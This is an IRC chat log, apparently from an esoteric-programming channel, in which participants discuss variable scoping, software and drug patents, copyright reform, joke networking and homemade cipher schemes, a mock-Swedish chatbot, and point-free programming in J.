17:08:51 <GregorR-L> The only problem with it, IMHO, is that it doesn't absolutely require that all variables be declared. If it did there would be no problem.
17:09:03 <GregorR-L> pikhq: It has sane scoping rules, but you can only get so sane when you don't require declarations.
17:09:16 <pikhq> Tcl doesn't require declarations.
17:09:24 <RodgerTheGreat> ok, so purely for my edification, could you rewrite it with declarations how you'd do it?
17:09:37 <GregorR-L> RodgerTheGreat: Add "var x;" before the for loop. Done.
17:09:43 <pikhq> The scope for an undeclared variable is... The current scope.
17:10:09 <GregorR-L> pikhq: You happily use x, then some idiot names a top-level variable x and everything breaks.
17:10:19 <GregorR-L> pikhq: Same with Python, and it's garbage there too.
17:10:29 <pikhq> And this is why you declare variables in Tcl. :P
17:10:36 <GregorR-L> People haven't realized that requiring variable declarations is the /only/ fix to scoping issues. PERIOD.
17:11:17 <RodgerTheGreat> there are so few genuine advantages to having undeclared vars anyway
17:11:44 <GregorR-L> It's supposed to be a convenience, but it always ends up being a trap *shrugs*
17:12:12 <pikhq> Actually, I don't happen to recall the details of Tcl's scoping rules, but I *think* global variables aren't actually... Global.
17:12:14 <RodgerTheGreat> like select statements that fall through one another without explicit breaks?
17:12:44 <GregorR-L> RodgerTheGreat: (I assume you mean cases) Heh, I wurve those :P
17:12:53 <pikhq> Just a sec while I check.
17:13:01 <GregorR-L> But then, I've had a ton of experience with them, and am extremely used to the intricacies.
17:13:26 <RodgerTheGreat> it doesn't look like the syntax for any other control structure, damnit!
17:13:41 <GregorR-L> RodgerTheGreat: It's the syntax for labels and gotos.
17:13:49 <pikhq> Global variables aren't global. To reference a global, you have to use $::foo, not $foo.
17:14:01 <pikhq> Or type "global foo".
17:14:10 <GregorR-L> pikhq: Well, that's disputably better. Sort of.
17:14:23 <GregorR-L> Requiring a global declaration is the PHP way
17:14:55 <GregorR-L> pikhq: (Unrelated) DAMN YOU NOW I REALLY WANT TO HEAR O9 PLAYED BY HUMANS >_<
17:15:02 <pikhq> Tcl's scoping rules get a bit tricky, since it's very, very much dynamically scoped.
17:15:44 <pikhq> upvar foo. Bam, now you can access foo in the calling proc.
17:18:47 <pikhq> That's to let the pass by name semantics work.
17:19:18 <pikhq> (in lieu of pass-by-reference, you can pass by name.)
17:28:15 <ais523> yay, I think my cyclic tag in Rubicon is working
17:28:48 <ais523> http://kevan.org/rubicon/game.php?level=rudofon
17:30:30 <ais523> I'll improve it a bit before archiving it, though
17:32:12 -!- KingOfKarlsruhe has joined.
17:46:58 -!- Sgeo has quit (Read error: 110 (Connection timed out)).
17:48:58 -!- kar8nga has joined.
17:52:39 -!- kar8nga has quit (Remote closed the connection).
18:04:38 -!- zzo38 has joined.
18:05:01 <zzo38> Do you people(s) has opinion of patent? I think their should be no patent but you can disagree if you want to
18:05:16 <ais523> for software patents, I agree
18:05:23 <ais523> for patenting other things, I'm less sure
18:05:48 <zzo38> Also, the log 09.06.19 has control characters that cannot be viewed as text and therefore is unviewable in my browser
18:05:52 -!- puzzlet_ has quit (Remote closed the connection).
18:06:00 -!- puzzlet has joined.
18:06:11 <zzo38> I am against *all* patents (it is on my Wikipedia user page)
18:06:27 <GregorR-L> Well, if it's on your Wikipedia user page, then it's Truth.
18:08:34 <tetha> yeah, why whould some company not need a patent for a new drug which required several millions in investments to get those investments back
18:08:38 <tetha> medcine is bad anyway
18:09:00 <ais523> I'm annoyed that there isn't a better method to fund companies to produce drugs
18:09:03 <ais523> there /ought/ to be one
18:09:07 <ais523> just I can't think of one
18:09:25 <pikhq> Drug patents are one of the few areas where the current patent system actually works *as designed*.
18:09:29 <zzo38> I know one thing, my company will never patent anything nor allow anyone who runs my company to patent anything, and also not allow these things to be patented by other people/companies because the idea that could be patented are public domain instead
18:09:31 <ais523> the issue is that the government are incompetent
18:09:36 <ais523> no matter which government
18:09:46 <zzo38> Yes the government is incompetent in a lot of things
18:10:40 <zzo38> Morse-Thue (or Thue-Morse) sequence in FlogScript: 29 characters.
18:10:41 * ais523 just proved Rubicon Turing-complete, given an infinite playfield
18:10:44 <tetha> zzo38: I think there are at least two types of patents, purely intelectual ones like 'tabs', and quite physical ones, like drugs mentioned above
18:10:45 -!- RodgerTheGreat has quit (Read error: 104 (Connection reset by peer)).
18:11:00 <tetha> zzo38: I think the major difference is the amount of money invested to get that thing you want to patent
18:11:02 <ais523> actually, drugs are relatively intellectual too
18:11:06 -!- RodgerTheGreat has joined.
18:11:15 <ais523> you can summarize a drug by its chemical formula
18:11:19 <ais523> which is short and simple to transmit
18:11:37 <tetha> ais523: still, a lot of science is needed to get this formula. for tabs, just some hacker had to get this bright idea and then it was there
18:11:38 <pikhq> True. Still, at least the damned patent system *does its job* with those.
18:11:44 <zzo38> Purely physical artistic design non-functional patents should be somehow merged with the trademark system, and other patents should be abolished.
18:11:55 <pikhq> There's a lot of fields (most of them, really) where the patent system doesn't work.
18:12:03 <ais523> tetha: I agree; the problem is that drugs are hugely expensive to set up in the first place
18:12:11 <ais523> maybe some sort of bounty system would work
18:12:27 <zzo38> Patents may have worked in the past, but with the way things just are now, patents should no longer exist.
18:12:32 <ais523> where drug companies, instead of patents, had exclusive rights to their drugs until they'd made a certain amount of profit
18:12:36 <tetha> pikhq: I am aware of this, there are just areas where patents allow research to go on
18:12:39 <pikhq> In the case of software, because a patent system just plain doesn't work. In the case of most other things, because a patent application doesn't actually describe the invention.
18:12:53 <ACMESTRESS> i don't think the real issue is software patents
18:12:58 <ais523> once they'd got the set amount of profit (which would be quite large, and allow them to recoup all their expenses), it would be opened up to competition
18:13:00 <ACMESTRESS> it's hilarious term limits on all patents
18:13:18 <ais523> actually, if term limits were sane, software patents would be too
18:13:27 <ais523> a sensible time limit for a software patent would be on the order of a couple of months
18:13:37 <pikhq> ACMESTRESS: It's a patent on math. That's not the sole issue with the modern patent system, but it's a large one.
18:13:57 <tetha> indeed, if you can deevelop the next generation of web browsing, it might be nice that microsoft can't steal it from you the day after you publish it :)
18:14:32 <ACMESTRESS> anybody who develops 'the next generation of web browsing' and admits to it is a super duper crackpot
18:14:40 <ais523> and the reason software patents are unnecessary is that a fair length of time for them to be enforced is about the same length of time it'll take other companies to work out how to copy you anyway
18:14:41 <zzo38> Trademarks and limited copyright are good enough for my company, I won't need patents. For Free Software stuff it will use the normal copyright terms, for non-Free stuff it will use limited copyright terms, in order to make it more fair.
18:14:56 <tetha> ACMESTRESS: meh, then replace it with a dynamic language as expressive as python, but twice as fast as C
18:15:00 <ais523> incidentally, the original purpose behind patents was to persuade people to publish details of their inventions
18:15:14 <zzo38> I don't care if Microsoft makes software to do the same thing as long as they do not deny me to do it also.
18:15:16 <ais523> tetha: twice as fast as C would be rather impressive
18:15:22 <ACMESTRESS> tetha: or perhaps a kind of chewing gum that allows you to grow a hand out of your rectum
18:15:28 <ais523> ok, C isn't the fastest language theoretically possible, but I doubt it's twice as slow as that
18:15:36 <zzo38> ais523: I know. But with the current state of society that is no longer reasonable.
18:15:38 <tetha> ais523: there are persons who cannot take some silly example as a silly example just to have a name for something
18:15:41 <pikhq> ais523: Not just "original". A patent system that doesn't do that is unconstitutional.
18:15:50 <Slereah> The fastest language is the Osmosian
18:16:04 <pikhq> Slereah: With hand-assembled ASM.
18:16:38 <ais523> pikhq: most of the countries in the world aren't bound by the US constitution
18:16:57 <GregorR-L> <ais523> pikhq: most of the countries in the world aren't bound by the US constitution // OR ARE THEY
18:17:02 <zzo38> Writing in machine codes are make the program run more faster if you know how to optimize the codes.
18:17:18 <ais523> zzo38: but nobody does, with modern processors
18:17:25 <tetha> zzo38: probably only for a single machine, though
18:17:26 <pikhq> Sorry, for some reason I assume that these discussions are limited to the US; I forget that it's not just the US being completely and utterly dumb.
18:17:26 <ais523> a perfectly optimal hello world would probably take years
18:17:33 <tetha> zzo38: or, rather, a single architecture
18:17:44 <ais523> pikhq: well, the EU doesn't enforce software patents
18:17:53 <ais523> Ireland will allow you to file them anyway, but you can't sue over them
18:17:55 <zzo38> I should make the Unpatentable Ideas List, where anyone can post ideas/inventions on that list and automatically makes it public domain and unpatentable. And then the computer will mix them up and make up its own ideas too.
18:18:17 <pikhq> zzo38: Pity that prior art doesn't get to be a reason for a patent to not be accepted.
18:18:32 <pikhq> Microsoft has patents with prior art given in the application.
18:18:33 <ais523> it is a reason in theory, but in practice, nobody checks
18:19:35 <zzo38> This ideas of "Unpatentable Ideas List" was already done by some people I think, or they are planning to, or something like that, but my idea is to add on to that, the computer will also make up its own ideas as well.
18:21:04 <GregorR-L> Blacklisting is bad. Whitelisting is good.
18:21:07 -!- ehird_ has joined.
18:21:18 <ehird_> ais523: freenode have permanently banned mibbit
18:21:21 <ehird_> for no apparent reason
18:21:37 <ais523> I was on here via mibbit then
18:21:55 <ehird_> so im using the shitty pjirc, on a laptop where half the keys--including the apostrophe-- dont work
18:22:02 <ehird_> my neighbours. since our phone line is broken.
18:22:03 <zzo38> O. I just use the (c: copy URL) function of my web-browser to view it downloading by wget. Vonkeror tells me the MIME type is application/octet-stream but wget tells me it is text/plain, why is that?
18:22:12 <ehird_> http://blog.mibbit.com/?p=306
18:22:35 <ehird_> anyway, hi! at least, hi until my neighbour decides that theyd quite like their computer back.
18:22:55 <ais523> ehird_: this is what I've been up to: http://kevan.org/rubicon/game.php?level=voladik
18:23:15 <ehird_> it would be quite nice if pjirc supported clicking links. copy paste time with rubbish nipple mouse, ahoy
18:23:27 <ehird_> it just doesnt highlight them in any way.
18:23:39 <ehird_> hahaha that just gives you text to copy
18:23:42 <ehird_> kick ass irc client here
18:23:53 <ais523> does that computer have Java?
18:23:59 <ais523> I don't mind it nearly as much as I mind Flash
18:24:04 <ais523> and that's a Java-based game
18:24:11 <ais523> to be precise, a Turing-completeness proof for it
18:24:18 <ehird_> yes, im talking via a java thingy.
18:24:25 <ehird_> pjirc. worst client, evar
18:24:29 <ehird_> blognomic uses it too for their web chat
18:24:47 <ehird_> zzo38: if only it had netcat.
18:24:50 <ehird_> it probably has telnet.
18:24:55 <ehird_> but zzo38, half the keys dont work
18:25:01 <ehird_> : does, but thats a miracle
18:25:05 <ais523> ehird_: windows comes with Telnet, but you have to enable it for some reason
18:25:08 <zzo38> Can that telnet be placed in linemode? In character-mode it won't work well for IRC
18:25:08 <ehird_> i cant even type an apostrophe!
18:25:14 <ehird_> ais523: err, not on the CLI
18:25:22 <ais523> ehird_: yes on the CLI
18:25:29 <ais523> but you have to flip an option in the GUI somewhere first
18:25:34 <ais523> to make the command-line telnet there
18:25:37 <ais523> by default, it isn't there
18:25:48 <zzo38> Is it physically the keyboard that is broken?
18:25:49 <ehird_> ais523: id have thought youd prefer flash to java, it uses ecmascript
18:26:06 <pikhq> I'm of the opinion that Windows should come with Interix.
18:26:10 <pikhq> ... And deprecate Win32.
18:26:13 <ais523> ehird_: Sun's security record is rather better than Adobe's
18:26:30 <ehird_> ais523: i have no idea how to play that game, but it runs!
18:26:48 <ais523> ehird_: you know RUBE?
18:26:49 <pikhq> ais523: Java's also free software these days.
18:26:50 <zzo38> [1 -1]{.At{~*.97+2/Pc}%P_F<}~
18:26:59 <pikhq> And it's quite a bit speedier than Flash.
18:26:59 <ais523> pikhq: technically speaking, Flash is also an open standard
18:27:04 <ais523> at least, they opened up the specs
18:27:13 <ehird_> ais523: have you looked at the draconian conditions on it
18:27:20 <ehird_> iirc they include "no third party implementations"
18:27:25 <pikhq> No. Those specs are only available for someone designing a Flash file creator.
18:27:25 <ais523> ehird_: no, they relaxed the conditions
18:27:29 <ehird_> also i would quite like a question mark key, maybe ill buy a separate one
18:27:40 <ehird_> pikhq: java is faster than flash, but applets are far more flickery and unreliable
18:27:43 <ais523> and that's a seriously messed-up keyboard
18:27:51 <ehird_> ais523: well it has the keys, they just dont do anything
18:27:57 <pikhq> ehird_: That's a function of a bad plugin.
18:28:06 <ais523> Java's pretty stable over here
18:28:16 <ais523> although it does crash randomly every now and then claiming "out of memory"
18:28:16 <ehird_> pikhq: yes, javas plugin IS bad.
18:28:24 <pikhq> Java's pretty stable and un-flickery over here.
18:28:26 <ais523> ehird_: there's more than one
18:28:32 <ais523> the Sun plugin and the open source one are the two main ones
18:28:41 <ehird_> those are implementations
18:28:44 <ehird_> dont call them "plugins"
18:28:52 <ehird_> icedtea sucks royal ass anyway
18:28:54 <ais523> ehird_: the implementations come with plugins
18:28:56 <pikhq> ehird_: They also have different plugins.
18:29:05 <pikhq> How the fuck does icedtea suck ass?
18:29:12 <ehird_> pikhq: last time i used icedtea it just didnt work with shit
18:29:24 <ehird_> the bottom of this laptop is hot enough to hurt when you touch it
18:29:32 <pikhq> What did you use? A pre-alpha SVN checkout?
18:29:33 <ehird_> methinks it has a decidedly suboptimal cooling system
18:29:34 <ais523> what sort of laptop is that?
18:29:39 <ais523> and why aren't you on your own computer?
18:29:45 <ehird_> ais523: an "ultraportable" from 2004
18:29:46 <pikhq> It works perfectly.
18:30:00 <ehird_> so regular 2009 laptop weight
18:30:08 <zzo38> Even though I don't have any Flash on my computer, I have used FLASM to modify a game in Flash for someone once.
18:30:21 <ehird_> ais523: and because our phone line is busted and i havent bothered trying to connect to this wireless network on my mac
18:30:30 <pikhq> (seriously, it is a 100% compliant Java implementation. ... Oh, yeah, and it's just a minor patch to the GPL Java dump that makes it work without proprietary junk)
18:30:30 <ehird_> so im just using the laptop i used to grab the WPA key
18:30:42 <ehird_> pikhq: mayhaps im thinking of another thing
18:30:47 <ehird_> ais523: stealing wireless with permission
18:30:53 <pikhq> ehird_: Maybe you're thinking of GCJ.
18:31:03 <ais523> ehird_: as in, they said you could use it but didn't tell you the key?
18:31:12 <pikhq> Which is a complete compiler, but doesn't have a complete runtime environment at all.
18:31:13 <ehird_> ais523: otherwise this would be a stolen laptop tooa
18:31:20 <ehird_> theyre computer illiterate. so they just gave me it to get stuff.
18:31:24 <zzo38> One day I will also invent Hypernet.
18:31:54 <zzo38> HyperNet packets can be sent over any protocol or medium, is encrypted, uses mirrors and backups of files, and nobody can stop it from happening.
18:32:37 <ais523> this morning atrapado was claiming that he was going to break all the world's encryption schemes
18:32:39 <ehird_> zzo38: just use astralnet; to insert, take the crc32 and the sha512 of a packet; this is the key
18:32:40 <ais523> to prove to people that they were insecure
18:32:57 <ehird_> to retrieve a packet, generate random strngs until then crc32 and sha512 match
18:33:05 <ehird_> theres actually a perl implementation :)
18:33:13 <ehird_> ais523: now i have to logread, BAH!
18:34:10 <pikhq> ais523: ... Impressive.
18:34:13 <zzo38> That "astralnet" seems not working well
18:34:44 <ehird_> zzo38: it works just fine; its just a bit slow
18:34:48 -!- KingOfKarlsruhe has left (?).
18:34:50 <ehird_> but you cannot, simply cannot, stop a packet from being sent
18:35:06 <ehird_> and the only likely failure - which is in itself extremely unlikely - is getting other data, probably garbage, back
18:35:26 <zzo38> It would seem very slow if the decryption worked like that.
18:37:22 <ais523> how many bits are there in a crc32 and sha512 hash together?
18:37:24 <zzo38> HyperNet will be designed to use infinite-dimentional integer coordinates in a virtual Euclidean space with an origin, and use an encryption key as part of the URL. Also any service can have as many addresses and/or files as they want.
18:37:33 <ais523> you're bound to get loads of collisions even with relatively short packets
18:37:40 <ais523> as in, not a lot in absolute terms
18:37:49 <ais523> but you're likely to hit collisions before you hit what you actually want
18:37:53 <ais523> both of which will take millenia
18:37:55 <zzo38> And also, you store encrypted copies of files you don't know what they are on many mirrors.
18:38:00 <Deewiant> What if a transmission error occurred; you don't know which hash to trust
18:38:12 <ehird_> ais523: err, 512=512 bits
18:38:18 <ais523> Deewiant: use a hash of the hashes
18:38:30 <zzo38> And, URL format will be invented. The other format that will be invented is a way of indicating HyperNet file descriptors in a gopher menu.
18:38:31 <ehird_> ais523: use like 128 byte packets.
18:39:00 <zzo38> For example, the host field could say @ and the port field gives the HyperNet descriptor for the file you want.
18:39:31 <zzo38> So there are two basic protocols on HyperNet, file protocol and command protocol.
18:40:02 <Deewiant> ais523: I was thinking: add a third hash and find a string for which any two match; if the third doesn't, request a retransmission
18:40:17 <zzo38> For interactive sessions, you would set up a session key and method of communication over HyperNet ahead of time, and then use phone or internet or whatever to enter the interactive mode (like telnet, for example).
18:40:45 <ais523> actually, because CRC-32 can be reversed really easily
18:40:52 <ais523> all you'd need is to brute-force the SHA512 hash
18:41:19 <ais523> there's no known method better than just trying every string
18:41:26 <ais523> so you'd need to try 2^512 strings on average
18:42:01 <ehird_> ais523: the idea is that since 512 is slow, you use crc32
18:42:06 <ehird_> and only 512 if that matches
18:42:10 <ehird_> so the crc is just an optimization
18:43:21 <zzo38> One security algorithm I invented (not sure how secure it is) is HEXARC, which is like ARCFOUR with the text running both reverse and forward, random amount of random garbage added on, and feedback in the coding.
18:43:45 <zzo38> The key is also longer.
18:44:15 <ehird_> How to test the strength of a crypto algorithm:
18:44:21 <ehird_> 1. Did you write it -> its insecure
18:44:33 <ehird_> 2. Did experienced cryptographers write it and is it generally considered secure -> it might be secure for now
18:44:49 <zzo38> O. Really? Many pople wrote other algorithm, who is insecure?
18:45:03 <pikhq> 0. If this is for DRM purposes, don't.
18:45:05 <ehird_> All of them, unless youre really good at cryptography.
18:45:07 <ehird_> 10:05:01 <zzo38> Do you people(s) has opinion of patent? I think their should be no patent but you can disagree if you want to
18:45:12 <ehird_> abolish patents! Abolish copyright!
18:45:14 <zzo38> Are you sure? Sometimes it is found to be wrong that it isn't as secure as they thought it is
18:45:43 <ehird_> WRT the medicine argument -
18:45:43 -!- RodgerTheGreat has quit (Read error: 104 (Connection reset by peer)).
18:45:46 <zzo38> This algorithm is not for DRM purposes.
18:45:51 <ehird_> see the pirate party websitefor a rebuttal
18:46:15 -!- RodgerTheGreat has joined.
18:47:09 <ehird_> 10:14:56 <tetha> ACMESTRESS: meh, then replace it with a dynamic language as expressive as python, but twice as fast as C
18:47:13 <ehird_> lisp on a good lisp machine
18:47:43 <zzo38> I agree with the second and third issues, and I partially agree with the first issue. There should be a better way to reform copyright. But I agree with abolished patent system and right to privacy.
18:47:55 <tetha> ah, ehird is reading logs, get ready for extreme out-of-context-argumentation
18:47:59 <zzo38> I don't like the Python program language.
18:48:19 <pikhq> zzo38, thou art silly.
18:48:25 <pikhq> In fact, þou art ſilly.
18:48:45 <ehird_> i only argue with those who are wrong :)
18:49:11 <ehird_> zzo38: copyright doesnt need reform; whats the source of this belief that everything needs reforming and abolishment is never the right option
18:49:21 <ehird_> i wonder if people said "the prohibition needs reform, not abolishment!"
18:49:38 <zzo38> Also, the Pirate Party has good ideas but not enough to be a proper political party.
18:50:18 -!- ehird_4 has joined.
18:50:18 <tetha> I think comparing the ban of alcohol and the investment required to research new drugs is a really nice comparision :)
18:50:26 <pikhq> zzo38: They're already a proper political party.
18:50:35 <ais523> ehird_4: ehird_1, ehird_2, and ehird_3 turned up and left again
18:50:37 <ehird_4> tetha: stfu and read the pirate partys rebuttal to that before spouting more nonsense
18:50:40 <ais523> without much comment other than "hi"
18:50:44 <zzo38> O. Thanks for telling me. It just seemed to me that they couldn't be.
18:50:51 <ehird_4> ais523: weird. what did zzo38 say about the pirate party
18:50:54 <tetha> ehird_4: then give me a link, since, y'know, the pirates wiki aint small.
18:51:08 <ais523> ehird_4: <zzo38> Also, the Pirate Party has good ideas but not enough to be a proper political party.
18:51:33 <tetha> ehird_4: k, so you can't bother enough to just give me a link to this precise article. appears that your argumentation is serious enough
18:51:35 <ehird_4> tetha: http://www.piratpartiet.se/an_alternative_to_pharmaceutical_patents
18:51:40 <ehird_4> tetha: im on an unusable laptop
18:51:54 <ehird_4> zzo38: pirate party are getting a seat in the european parliament
18:51:54 <tetha> good that Im psycic
18:52:05 <zzo38> The term of copyright should be dependent on various things. Five years is too short, although the current terms are way too long.
18:52:18 <ehird_4> tetha: good that you cant read what i said earlier
18:52:46 <pikhq> If we're going to have copyright apply to software, we need source escrow.
18:52:58 <tetha> good that I think this channel is nothing for me due to some persons
18:52:58 <pikhq> Release the source code once it hits public domain.
18:53:10 -!- tetha has left (?).
18:53:27 <zzo38> Also, file sharing and p2p over internet and stuff should remain as illegal as it is for copying of illegal stuff, however, the police and ISP and government and so on should not be allowed to care about such things, so you can do it as though it were legal if it is over the internet.
18:53:32 <ehird_4> pikhq: tethas pissy that i existr
18:53:40 <ehird_4> well fuck you too tetha :)
18:54:07 <ehird_4> "it should be illegal but no punishment or enforcement"
18:54:19 <zzo38> Also, there should not be complete ban on DRM, but instead there should be forced to be warning labels about DRM on products (like food warning labels are), and also make it perfectly legal to remove DRM, complain, circumvent, tell other people how, and so on.
18:55:06 <zzo38> No, it doesn't mean it should be legal. What it means is that if you go to a store on a street corner or whatever that that is what they do even if no money or any other sort of payment, the police can still arrest them.
18:55:40 <zzo38> But if it is simply a generic service (like random HyperNet transfers over disk), the police can't do anything about it
18:58:12 -!- oerjan has joined.
18:58:49 <zzo38> Non-commercial use should be freely available for private uses, even among other people who it is not a public service. How "private" that some things should be considered can be debated, but don't make it too restrictive or too non-restrictive, you need the right balance to make things considered privately.
18:59:40 <zzo38> And this would also mean, if you go to library to photocopy something, you are allowed to make as much photocopying as you want to as long as you pay the fee for each sheet of paper you make copies.
18:59:55 <zzo38> (That is, the library photocopying fee, not the copyright fee)
19:00:43 <zzo38> Also, books and files and stuff should include the author's addresses so that you can still choose to pay the author as much money as you want, regardless of how those things were being obtained.
19:01:01 <zzo38> (Of course that is not a law, it is just a suggestion that authors must follow)
19:01:14 -!- inurinternet has joined.
19:02:04 -!- kar8nga has joined.
19:02:36 <zzo38> The "patent and trademark office" would become just the "trademark office". That's good things.
19:03:27 <zzo38> Also, things cannot change so immediately, there needs to be a transition period.
19:03:42 <zzo38> One year should be enough transition period.
19:05:01 <zzo38> Terrorists can take away my life, but they cannot take away my freedom. Only the government can take away your freedom.
19:05:42 <ehird_4> zzo38 is like an opinion and anecdote machine
19:05:45 <ais523> what if terrorists kidnap you rather than kill you?
19:06:03 <ehird_4> ais523: he has the freedom to squirm around a bit and quote the constitution
19:07:14 <zzo38> This political party is still probably just as incompetent as any other, even though they have good intentions.
19:07:48 <ehird_4> piratpartiet is small enough and close enough to TPB that theyre competent
19:08:11 -!- ehird_ has quit (Read error: 110 (Connection timed out)).
19:08:39 * pikhq thinks zzo38 is ignorant of how the law is implemented...
19:08:39 <zzo38> O, OK. But if they are small enough they can't really become a proper political party without much difficulty.
19:09:07 <ehird_4> zzo38: dude, they won a seat in the european parliament
19:09:26 <ehird_4> zzo38: and they have the 3rd biggest membership count in sweden
19:09:46 <ehird_4> happened in like a month or two
19:10:07 <ais523> wow, nopaste's shut down
19:10:13 <zzo38> Then they are an exception to the general rule of that, which is good. However one seat isn't everything (but it can be improved later, of rcourse).
19:11:02 <pikhq> One seat after 4 years.
19:11:06 <pikhq> That's phenomenal.
19:11:19 <ehird_4> now what will anmaster terrorize me with now
19:11:46 <zzo38> I am anti-anti-terrorist
19:11:59 <ehird_4> k bye; zzo38: you oppose people who oppose terrorists
19:12:13 -!- ehird_4 has quit ("Java user signed off").
19:12:34 <zzo38> And people do not understand my pokemon philosophies, probably people will not understand my other thing that very well either.
19:15:02 -!- zzo38 has quit (Read error: 104 (Connection reset by peer)).
19:22:18 -!- kar8nga has quit (Remote closed the connection).
19:25:20 -!- AnMaster has quit (Connection timed out).
19:40:01 -!- GuestShadowSkunk has joined.
19:40:58 * oerjan senses something dark and foul-smelling
19:41:49 <oerjan> a foul-smelling one, but nevertheless
19:42:59 <GuestShadowSkunk> They change your nick to some bullshit if you forget to identify
19:47:19 * oerjan deduces the actual swedish is GästSkuggoSkunk
19:47:31 <oerjan> i'm not entirely sure about the o
19:48:50 -!- evenant has joined.
19:48:50 -!- nescience has quit (Read error: 104 (Connection reset by peer)).
19:48:55 <lament> !swedish GuuestSheduuSkuunk
19:48:56 <EgoBot> GooooestShedooooSkoooonk
19:49:02 <lament> !swedish GooooestShedooooSkoooonk
19:49:03 <EgoBot> GuuuuestSheduuuuSkuuuunk
19:50:37 <lament> !swedish oooooooooooooooooooooo
19:50:38 <EgoBot> ouuuuuuuuuuuuuuuuuuuuu
19:53:04 -!- GuestShadowSkunk has changed nick to Slereah_.
19:53:18 -!- Slereah has quit (Read error: 110 (Connection timed out)).
20:00:39 -!- evenant has changed nick to nescience.
20:03:24 -!- tombom has joined.
20:16:14 <lament> !swedish girls are hot
20:21:57 <olsner> that's totally how we say butt in swedish
20:22:55 <tombom> !swedish that's totally how we say butt in swedish
20:22:56 <EgoBot> thet's tutelly hoo ve-a sey boott in svedeesh
20:29:43 <pikhq> !swedish Swedish Fish
20:30:19 <pikhq> !swedise Come and see the møøse!
20:32:32 -!- sebbu has quit (hubbard.freenode.net irc.freenode.net).
20:34:49 -!- sebbu has joined.
20:38:36 -!- RodgerTheGreat_ has joined.
20:38:36 -!- RodgerTheGreat has quit (Read error: 104 (Connection reset by peer)).
20:40:07 -!- nescience has quit.
20:56:59 * ehird is connected via said neighbour's wifi, but on a decent mac now.
20:57:03 * oerjan recalls there are apples
20:57:21 <ehird> It is, uh, not the fastest connection.
20:57:43 <ehird> ...actually, it seems to be quite fast.
20:57:45 -!- saburo has joined.
20:58:06 <augur> come see the møøse?! :o
20:58:13 <ehird> 1.2 megabytes/sec (= 9.6 megabits)
20:58:19 <augur> it is not points-free programming
20:58:26 <oerjan> there are møøse in the høøse!
20:58:39 <ehird> a moose loose aboot this hoose
20:58:50 <augur> ehirds turnd canadian D:
20:58:58 <oerjan> how did they get løøse?
20:59:01 <ehird> augur: it's composing just minimal programs together
20:59:03 <ehird> so yes it is point-free programming
20:59:25 <augur> no. pointsfree composes functions without reference to their arguments
20:59:40 <augur> but the functions are not complete programs
21:00:03 <oerjan> then it's shell programming :)
21:00:06 <augur> for instance, points free "avg" in J is +/ % #
21:00:06 <ehird> augur: define complete prorgam
21:00:13 <ehird> function = program
21:00:15 <augur> which is not a complete program, nor is its parts
21:00:17 <ehird> a program in unix is just:
21:00:23 <ehird> [String] -> (String,Int,etc)
21:00:32 <augur> what i mean is that i could take each thing that i compose, run it, and it would perform some full computation.
21:00:39 <ehird> saying "program" in the fully-fledged executable sense is not a particularly interesting extension
21:01:08 <augur> but i do not mean to compose functions without arguments
21:01:24 <augur> i mean to compose fully specified bits of code in some fashion
21:01:31 * oerjan generalizes augur's idea
21:01:38 <oerjan> compose entire computers!
21:01:43 <ehird> btw can I just say that +/ % # is one of the most beautiful pieces of code?
21:01:54 <augur> ehird: yes, you can.
21:02:00 <ehird> good; because it is
21:02:12 <oerjan> it's +/%# unreadable though
21:02:24 <augur> tho J's use of that is, i think, rather limited.
21:02:28 <augur> oerjan: composing computers, hm.
21:02:30 <saburo> does the that belong with the code?
21:02:34 <augur> composing turing machines
21:03:00 <oerjan> turing machines are less complicated than programs, not more
21:03:04 <ehird> augur: J does both point-free and also forks where ((v1 v2 v3) x) = ((v1 x) v2 (v3 x))
21:03:10 <ehird> which is a fairly complete tacit programming toolset
21:03:12 <oerjan> they are just String -> Maybe String, really
21:03:32 <ehird> 21:02 oerjan: it's +/%# unreadable though ← i know this was a joke, but it's really not :)
21:03:35 <oerjan> thinking of non-termination
21:03:48 <ehird> it's just vocabulary
21:03:48 <augur> ehird: i know, ehird. but forks are so trivial
21:03:56 <augur> i mean, english has forks.
21:04:04 <ehird> + is add, / modifies the previous verb to fold, % divides and # is length
21:04:17 <ehird> "addition fold divided by length"
21:04:23 <ehird> addition fold = sum
21:04:24 <oerjan> spooning your program, now
21:04:26 <ehird> "sum divided by length"
21:04:26 <augur> ehird, actually isnt +/ a predefined function, not an on-the-fly modify?
21:04:32 <ehird> augur: / is an adverb
21:04:34 <ehird> augur: (anything)/ works
21:04:58 -!- AnMaster has joined.
21:05:03 <augur> J would be sexy with some hardcore language-y aspects.
21:05:11 <ehird> hmm forget that example
21:05:15 <ehird> augur: it does have those, though!
21:05:17 <ehird> it's just very subtle
21:05:26 <ehird> it seems trivial at first, but generally you just get a gloss
21:05:31 <ehird> its actual concepts are very deep and simple
21:05:40 <augur> i know, i understand which ones it does have
21:05:49 <augur> but those are trivial compared to what real languages do
21:06:03 <ehird> augur: minimalist extensibility trumps all in the end, though
21:06:13 <augur> take a look at CCG
21:06:25 <augur> it uses a very minimal extension on top of lambda calculus
21:06:28 -!- saburo has quit.
21:06:37 <augur> adding a layer of syntactic function application
21:06:42 <augur> (combinatory categorial grammar)
21:07:12 <ehird> augur: i've always considered linguistics akin to making a formal semantics out of PHP :)
21:07:17 <augur> the result of this is that in CCG, theres like a bajillion crazy but simply-computed ways of saying something
21:07:22 <ehird> i know that's a prejudiced view
21:07:25 <ehird> but it's just my intuitive feeling
21:07:36 <augur> youve never seen syntax
21:07:48 <ehird> i'm not sure english's is :P
21:07:55 <augur> you'd be surprised
21:08:10 <augur> english, for all its hodge podge ness, is incredibly formulaic.
21:08:30 <ehird> augur: modulo a few billion special cases
21:08:44 <augur> special cases are almost entirely the domain of morphology
21:08:49 <ehird> is linguistics just syntax or sth?
21:09:00 <augur> no, syntax is a field of linguistics
21:09:11 <augur> but its /my/ domain so its all i care about ;)
21:09:33 <augur> special cases are sort of like pattern matching
21:09:44 <augur> suppose we were viewing this from a parsing perspective
21:09:49 <augur> you might have some general rule like
21:10:15 <augur> but you might have some special case like N[+saxon] + en = plural
21:10:33 <augur> ok, so what? thats just like a haskell case analysis:
21:10:47 <augur> N[+saxon] + en = plural
21:10:59 <ehird> augur: yeah, but too many pattern matches are considered inelegant in haskell too
21:11:23 <augur> and in linguistics.
21:11:41 <augur> we try to unify as many phenomena as possible, when they seem like they can be unified.
21:12:15 <augur> unfortunately, brains are powerful, and not everything is a unified phenomena
21:12:24 -!- GregorR-L_ has joined.
21:13:15 <augur> i can teach you some syntax if you want.
21:13:55 -!- nescience has joined.
21:14:17 <augur> well no i dont mean right now
